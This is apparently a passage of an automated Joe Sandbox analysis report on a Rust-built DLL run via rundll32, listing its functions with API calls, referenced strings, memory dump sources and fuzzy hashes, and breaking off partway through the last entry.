Opcode Fuzzy Hash: 704f36bb0c9f305fe0cddee34e75139387331410fb9c239ad650b811444a2f3b
Instruction Fuzzy Hash: 7BC08C70340208AF6D001BA6AC0CD3B33BCC6869087004008B44EC2A12EB26E98A84A4

Function 6CB65AD0 Relevance: 1.5, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,?,6CBE7E44), ref: 6CB65AE1

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: b41e54b0bdb2d10422e7a69a29fb5faaca081f65d19b53e146e40962372d0c55
Instruction ID: aa25c5d5c145dce1b1593671f396b3e17bf61d64050c5c0d96298d37a0f34f78
Opcode Fuzzy Hash: b41e54b0bdb2d10422e7a69a29fb5faaca081f65d19b53e146e40962372d0c55
Instruction Fuzzy Hash: C5C092B0351041BBDE059B12CF9DB2CBA37E783304F209248E246598A5D6632996CB09

Function 6CC0099B Relevance: 1.5, APIs: 1, Instructions: 5registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNELBASE(?,6CBB1DC5), ref: 6CC009A0

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 838187889195056317e71b2ac1b0ab77bf5a9da4978148ce328c553e22b5c734
Instruction ID: 4d546ddd79ad2b5ba3050e44e67c5e911aae45b7c5809148d2f02caf2910ab37
Opcode Fuzzy Hash: 838187889195056317e71b2ac1b0ab77bf5a9da4978148ce328c553e22b5c734
Instruction Fuzzy Hash: 3FA002F4F539425AFE2C6F22C619A2B2DB45A4628A306055D6E46D0404D727C0828659

Non-executed Functions

Function 6CBEC9B0 Relevance: 49.3, APIs: 19, Strings: 9, Instructions: 305libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 6CBEC9F0
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 6CBECA04
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6CBECA36
GetProcAddress.KERNEL32(SymSetOptions), ref: 6CBECA64
GetProcAddress.KERNEL32(SymInitializeW), ref: 6CBECA93
GetCurrentProcess.KERNEL32 ref: 6CBECAB1
memset.VCRUNTIME140(00000000,00000000,000007FE), ref: 6CBECB04
GetProcAddress.KERNEL32(SymGetSearchPathW), ref: 6CBECB34
GetCurrentProcess.KERNEL32 ref: 6CBECB48
lstrlenW.KERNEL32(00000002), ref: 6CBECB5C
memmove.VCRUNTIME140(?,Local\RustBacktraceMutex00000000,00000021), ref: 6CBECB82
GetCurrentProcessId.KERNEL32 ref: 6CBECB8A
CreateMutexA.KERNEL32(00000000,00000000,?), ref: 6CBECC0C
CloseHandle.KERNEL32(00000000), ref: 6CBECC2B
ReleaseMutex.KERNEL32(00000000), ref: 6CBECC39
GetProcAddress.KERNEL32(EnumerateLoadedModulesW64), ref: 6CBECCBC
GetCurrentProcess.KERNEL32 ref: 6CBECCD0
GetProcAddress.KERNEL32(SymSetSearchPathW), ref: 6CBECD2E
GetCurrentProcess.KERNEL32 ref: 6CBECD3E

Strings

SymGetOptions, xrefs: 6CBECA30
EnumerateLoadedModulesW64, xrefs: 6CBECCB1
SymGetSearchPathW, xrefs: 6CBECB29
SymInitializeW, xrefs: 6CBECA88
assertion failed: len >= 0, xrefs: 6CBECDBE
SymSetOptions, xrefs: 6CBECA59
SymSetSearchPathW, xrefs: 6CBECD23
dbghelp.dll, xrefs: 6CBEC9FF
Local\RustBacktraceMutex00000000, xrefs: 6CBECB7C

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressProc$CurrentProcess$Mutex$CloseCreateHandleLibraryLoadObjectReleaseSingleWaitlstrlenmemmovememset
String ID: EnumerateLoadedModulesW64$Local\RustBacktraceMutex00000000$SymGetOptions$SymGetSearchPathW$SymInitializeW$SymSetOptions$SymSetSearchPathW$assertion failed: len >= 0$dbghelp.dll
API String ID: 2639809894-356128008
Opcode ID: 13df702d9990fb235a8f5e585fa44aff3f99056c021123decdf9189695167f79
Instruction ID: df7e3f941ab3de74a92bb06279dc691a880a3cf6be33ed2b88675f5e6b3f6ca3
Opcode Fuzzy Hash: 13df702d9990fb235a8f5e585fa44aff3f99056c021123decdf9189695167f79
Instruction Fuzzy Hash: F5C1F370E002A88BDF10DFAAC9547AE7FB4EF4D754F204128D815B7B81EB329845CBA1

Function 6CBBBA52 Relevance: 44.1, APIs: 22, Strings: 4, Instructions: 5141COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000001C8), ref: 6CBBBD37

Part of subcall function 6CBF0110: RtlAllocateHeap.NTDLL(02840000,00000000,?,?,6CB65AAF,?,00000004,6CB6E4B2,?,6CBE682F,?,?,?,?,6CBE65EB,00000002), ref: 6CBF011F

Strings

invalid SETTINGS frame, xrefs: 6CBBC960
called `Result::unwrap()` on an `Err` value, xrefs: 6CBC286F, 6CBC2905
PRI * HTTP/2.0SM, xrefs: 6CBBC4DB
assertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZED:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\h2-0.3.26\src\frame\settings.rs, xrefs: 6CBC27AC

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AllocateHeapmemmove
String ID: PRI * HTTP/2.0SM$assertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZED:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\h2-0.3.26\src\frame\settings.rs$called `Result::unwrap()` on an `Err` value$invalid SETTINGS frame
API String ID: 3274069717-2943561727
Opcode ID: aec748199859b9a5a2441150e92321cca14cc3e3817fdcfbb9c36ed07556bf74
Instruction ID: 5de78c89793ffbdc1fdcc54caf24768f69baf9ecc8c483820607fa57e5279bb2
Opcode Fuzzy Hash: aec748199859b9a5a2441150e92321cca14cc3e3817fdcfbb9c36ed07556bf74
Instruction Fuzzy Hash: EFE350B4A097818FD7A1CF28C184B9ABBE0BF89310F14496EE89CDB355D770A945CF52

Function 6CBD5B14 Relevance: 37.5, APIs: 19, Strings: 2, Instructions: 750encryptionCOMMON

Download Yara Rule

APIs

CertFreeCertificateContext.CRYPT32(?), ref: 6CBD5CE7
CertFreeCertificateContext.CRYPT32 ref: 6CBD5CEA
CertGetCertificateChain.CRYPT32(00000000,?,00000000,00000000,?,C0000001,00000000,00000000), ref: 6CBD5D8F
CertFreeCertificateContext.CRYPT32 ref: 6CBD5E36
CertFreeCertificateContext.CRYPT32 ref: 6CBD5E59
GetLastError.KERNEL32 ref: 6CBD5E72
CertFreeCertificateContext.CRYPT32 ref: 6CBD5EA4
CertFreeCertificateChain.CRYPT32(?), ref: 6CBD5EDD
CertVerifyCertificateChainPolicy.CRYPT32(00000004,?,?,00000010), ref: 6CBD5F57
CertFreeCertificateContext.CRYPT32(?), ref: 6CBD6060
AcceptSecurityContext.SECUR32(?,?,?,0001011C,00000000,?,?,?,00000000), ref: 6CBD6252
InitializeSecurityContextW.SECUR32(?,?,00000000,0009819C,00000000,00000000,?,00000000,00000000,?,?,00000000), ref: 6CBD62C1
FreeContextBuffer.SECUR32(?), ref: 6CBD62D9
FreeContextBuffer.SECUR32(00000000), ref: 6CBD6386
FreeContextBuffer.SECUR32(?), ref: 6CBD6420
CertFreeCertificateChain.CRYPT32(?), ref: 6CBD6531
CertFreeCertificateContext.CRYPT32(?), ref: 6CBD653C

Strings

P(Hu, xrefs: 6CBD5CE1, 6CBD5E36, 6CBD5E59, 6CBD5EA4, 6CBD6060, 6CBD653C
unexpected EOF during handshakeassertion failed: size >= nread, xrefs: 6CBD65A1

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ContextFree$CertCertificate$Chain$Buffer$Security$AcceptErrorInitializeLastPolicyVerify
String ID: P(Hu$unexpected EOF during handshakeassertion failed: size >= nread
API String ID: 619209709-78324864
Opcode ID: 2590b54206ac83006cd35c9a4ea76cc29379f106850e61d955fba0394e1ced16
Instruction ID: 66d6d47f09d92be94332af7292c159df7051feb12b18363fecc74cb97cd7eed6
Opcode Fuzzy Hash: 2590b54206ac83006cd35c9a4ea76cc29379f106850e61d955fba0394e1ced16
Instruction Fuzzy Hash: D36269B06087819FD314CF24C440B9ABBF1FF89718F15891DE9998B781DB75E889CB92

Function 6CBDBD1C Relevance: 24.3, APIs: 13, Strings: 2, Instructions: 1782COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000138), ref: 6CBDBD79
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBDD4BE
memmove.VCRUNTIME140(?,?,000000C0,6CC5654C), ref: 6CBDD52B
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBDD587
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBDD5A8
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBDD5E6

Strings

invalid minimum TLS version for backendinvalid maximum TLS version for backendvalid request parts, xrefs: 6CBDC645
NO_PROXYno_proxy[, xrefs: 6CBDBE37

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: NO_PROXYno_proxy[$invalid minimum TLS version for backendinvalid maximum TLS version for backendvalid request parts
API String ID: 2162964266-2564500342
Opcode ID: 0b2a1065a002a46bd97564f0c8a8d9d5406840323b6c551d9530d5b0a454b2cd
Instruction ID: 53d1db0f7551f23f6835e1e684cf11b166892b97a839677fb7b0010282b77f8f
Opcode Fuzzy Hash: 0b2a1065a002a46bd97564f0c8a8d9d5406840323b6c551d9530d5b0a454b2cd
Instruction Fuzzy Hash: 04038A716097818FD721CF24C080B9EBBF1FF89314F15896EE8899B751DB71A849CB92

Function 6CBDC6DA Relevance: 23.8, APIs: 11, Strings: 2, Instructions: 1017encryptionCOMMON

Download Yara Rule

APIs

CertDuplicateCertificateContext.CRYPT32(?), ref: 6CBDC7FC
CertOpenStore.CRYPT32(00000002,00000000,00000000,00000000,00000000), ref: 6CBDC817
CertFreeCertificateContext.CRYPT32(00000046), ref: 6CBDC883
GetLastError.KERNEL32 ref: 6CBDC890
CertFreeCertificateContext.CRYPT32(?), ref: 6CBDC917

Strings

P(Hu, xrefs: 6CBDC883, 6CBDC917
Z, xrefs: 6CBDCD1E

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Cert$CertificateContext$Free$DuplicateErrorLastOpenStore
String ID: P(Hu$Z
API String ID: 721414120-976309940
Opcode ID: a5d02ae3d9c8c60481363a452e753d2dece23165d67f7b4a00046563f25cd9cb
Instruction ID: 880ba367ddebdf2f4bad66cca25169238e5d1c40f53223556922ebf178144508
Opcode Fuzzy Hash: a5d02ae3d9c8c60481363a452e753d2dece23165d67f7b4a00046563f25cd9cb
Instruction Fuzzy Hash: 2DB247755097C08FC366CF24C484BDABBE1BF8A314F1589AEE4C99B351DB70A849CB52

Function 6CB9A814 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 3097COMMON

Download Yara Rule

Strings

close, xrefs: 6CB9C014
/1.1, xrefs: 6CB9AD3B
HTTP, xrefs: 6CB9ACF4
/1.1, xrefs: 6CB9ACF9
E, xrefs: 6CB9CEAB
PRI * HTTP/2.0SM, xrefs: 6CB9D195
, xrefs: 6CB9AC50

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID: $/1.1$/1.1$E$HTTP$PRI * HTTP/2.0SM$close
API String ID: 0-737735271
Opcode ID: 8419d090289fd9ccffe929fda16b34218b2bb9ce160333dc4439a1ffc2d49e78
Instruction ID: c8c32be841ef819a031ca992555feaee8f49fa799a123f0f885bf505d05f33ca
Opcode Fuzzy Hash: 8419d090289fd9ccffe929fda16b34218b2bb9ce160333dc4439a1ffc2d49e78
Instruction Fuzzy Hash: 005379756093D18FD325CF24C49079BBBE1AFCA318F248A2EE4998B751DB749849CB43

Function 6CB61DF7 Relevance: 20.7, APIs: 9, Strings: 4, Instructions: 1204COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000048), ref: 6CB61E3F
memmove.VCRUNTIME140(?,?,0000004E), ref: 6CB61E52
memmove.VCRUNTIME140(?,?,0000004E), ref: 6CB61EE6

Strings

://assertion failed: !self.serialization[scheme_end_as_usize..].starts_with("://"), xrefs: 6CB61FB9
core thread exited early, xrefs: 6CB62EB6
has_authority means set_password shouldn't fail, xrefs: 6CB62B01
, xrefs: 6CB638AF

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: ://assertion failed: !self.serialization[scheme_end_as_usize..].starts_with("://")$core thread exited early$has_authority means set_password shouldn't fail$
API String ID: 2162964266-3378296264
Opcode ID: 96068575b504965680d5e58dfd3785d98c3de205d0ae33cb2c6b743a7553cdbc
Instruction ID: 894693cf8675a87601606e778d8ea21d51b72653da0c58f93b9f68279d43b06c
Opcode Fuzzy Hash: 96068575b504965680d5e58dfd3785d98c3de205d0ae33cb2c6b743a7553cdbc
Instruction Fuzzy Hash: DEC217756087818FD365CF29C48079BFBE1BF89314F108A1EE9D99B741DB709989CB82

Function 6CB7C1AC Relevance: 18.3, APIs: 14, Instructions: 794COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,0000007A), ref: 6CB7C209

Part of subcall function 6CB65AD0: RtlFreeHeap.NTDLL(00000000,?,6CBE7E44), ref: 6CB65AE1

memmove.VCRUNTIME140(?,?,0000007A), ref: 6CB7C247
memmove.VCRUNTIME140(?,?,00000088), ref: 6CB7C2BF
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CB7C470
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CB7CBA8
memmove.VCRUNTIME140(?,?,00000029), ref: 6CB7CC09
memmove.VCRUNTIME140(?,?,00000029), ref: 6CB7CC3F
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CB7CC6E
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CB7CCB8
memmove.VCRUNTIME140(?,?,0000007E,?), ref: 6CB7CD12
memmove.VCRUNTIME140(?,?,0000007E), ref: 6CB7CD3B
memmove.VCRUNTIME140(?,?,00000088), ref: 6CB7CD65

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$FreeHeap
String ID:
API String ID: 3670176668-0
Opcode ID: fb8364ab4b045572aa00c3708a86a04658651aa26dc317491f7db0261af0c0cf
Instruction ID: fc8048d7753d1e18f3888cbfe6997631bac7ee4a147b49cd4de51c7cc564c8f2
Opcode Fuzzy Hash: fb8364ab4b045572aa00c3708a86a04658651aa26dc317491f7db0261af0c0cf
Instruction Fuzzy Hash: 317279759097818FD722CF24C4507EEFBE1BF8A308F04895DE8A85B791D770A549CBA2

Function 6CBCD246 Relevance: 17.2, APIs: 9, Strings: 2, Instructions: 652COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000090), ref: 6CBCDECE
memmove.VCRUNTIME140(?,?,00000090), ref: 6CBCDF5F

Strings

assertion failed: self.can_inc_num_recv_streams(), xrefs: 6CBCEE1E
called `Result::unwrap()` on an `Err` value, xrefs: 6CBCEE5C

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: assertion failed: self.can_inc_num_recv_streams()$called `Result::unwrap()` on an `Err` value
API String ID: 2162964266-2757891961
Opcode ID: b3fcf6c6185b102a238cc7c2ca25db128827e924a5f82bfa8413911f5724341f
Instruction ID: eb897719c47f80c205db2a0d88b733f5580dbf293e51b5a69dcc98bc739dd234
Opcode Fuzzy Hash: b3fcf6c6185b102a238cc7c2ca25db128827e924a5f82bfa8413911f5724341f
Instruction Fuzzy Hash: 755233756093C19FC321CF24C484B9ABBE0BF99314F04895EE8D99B791D770AA49CB92

Function 6CBE83D0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 268filenativesynchronizationCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE840A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBE8255), ref: 6CBE8419
GetConsoleMode.KERNEL32(00000000,?), ref: 6CBE8457
NtWriteFile.NTDLL ref: 6CBE84DD
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CBE84ED
RtlNtStatusToDosError.NTDLL ref: 6CBE857A
CloseHandle.KERNEL32(00000000), ref: 6CBE876A

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CBE871C

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorHandle$CloseConsoleFileLastModeObjectSingleStatusWaitWrite
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 3090192319-2333694755
Opcode ID: f83b5140a1ddc67fa823b65f5cecb50555382294a426ece3fa368a7dbd9ff095
Instruction ID: 30b1fadab58d644af66a6339032b10ebefed8f75ba0142d1a1b31c76c5ab402f
Opcode Fuzzy Hash: f83b5140a1ddc67fa823b65f5cecb50555382294a426ece3fa368a7dbd9ff095
Instruction Fuzzy Hash: 1DB128B0E006889FDB00CF98C880BEEBFB5EF49758F54412EE451AB781D7769949CB61

Function 6CBF2350 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 501COMMON

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(?), ref: 6CBF27D3

Strings

full, xrefs: 6CBF2892
<unnamed>, xrefs: 6CBF26A8, 6CBF2870
Box<dyn Any>aborting due to panic at , xrefs: 6CBF2848
RUST_BACKTRACEentity not foundpermission deniedconnection refusedconnection resethost unreachablenetwork unreachableconnection abortednot connectedaddress in useaddress not availablenetwork downbroken pipeentity already existsoperation would blocknot a directo, xrefs: 6CBF25FE
main, xrefs: 6CBF2934

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressSingleWake
String ID: <unnamed>$Box<dyn Any>aborting due to panic at $RUST_BACKTRACEentity not foundpermission deniedconnection refusedconnection resethost unreachablenetwork unreachableconnection abortednot connectedaddress in useaddress not availablenetwork downbroken pipeentity already existsoperation would blocknot a directo$full$main
API String ID: 3114109732-636500360
Opcode ID: a99cb6b40b6b3ef35914bcb91284147c1cd265c271867baa3fac68963d3fd1fd
Instruction ID: a62f20b3269b313db5795e302468aab5be6c370d9ed29603a4cc62479e62b02f
Opcode Fuzzy Hash: a99cb6b40b6b3ef35914bcb91284147c1cd265c271867baa3fac68963d3fd1fd
Instruction Fuzzy Hash: FF225CB0604B808FD721CF26C198766B7F1EB45308F14896DC9AA8BF91D775F44ACB92

Function 6CBE9F40 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 358windowCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00001000), ref: 6CBE9F8A
GetModuleHandleW.KERNEL32(NTDLL.DLL), ref: 6CBE9FA6
FormatMessageW.KERNEL32(00001200,00000000,?,00000000,?,00000800,00000000), ref: 6CBE9FD3

Strings

NTDLL.DLL, xrefs: 6CBE9FA1

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: FormatHandleMessageModulememset
String ID: NTDLL.DLL
API String ID: 2302251862-1613819793
Opcode ID: fa79b0731f1a830a7b6d52fc5385b98e842225ec54b49a780378da15fa6edc15
Instruction ID: d5e5ae383ce8da822e67133cc3b54e64f1e3dbdaba2950086275403436029d6c
Opcode Fuzzy Hash: fa79b0731f1a830a7b6d52fc5385b98e842225ec54b49a780378da15fa6edc15
Instruction Fuzzy Hash: 53D1CF71E042988FDB00CF95C8807EEBFB9FB49794F244229D411ABB85D3795949CFA1

Function 6CBDDC97 Relevance: 10.6, APIs: 8, Instructions: 567COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBDD587
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBDD5A8
memmove.VCRUNTIME140(?,?,0000007A), ref: 6CBDDE22
memmove.VCRUNTIME140(?,?,0000007A), ref: 6CBDDE50

Part of subcall function 6CBACCB0: memmove.VCRUNTIME140(?,?,00000000), ref: 6CBACD09

memmove.VCRUNTIME140(?,?,00000098), ref: 6CBDDECB
memmove.VCRUNTIME140(?,?,000000D8), ref: 6CBDE121
memmove.VCRUNTIME140(?,?,000000D8), ref: 6CBDE27B
memmove.VCRUNTIME140(00000100,?,000000D8), ref: 6CBDE45F

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 2022b05e2a3b91de7d766059ac99ef3308ccb344827c2e837419e2e4a18ff77e
Instruction ID: 85e30da64fcf1db8b53edcfbb920c55af827681c1fc74937f537df0d650ec0d6
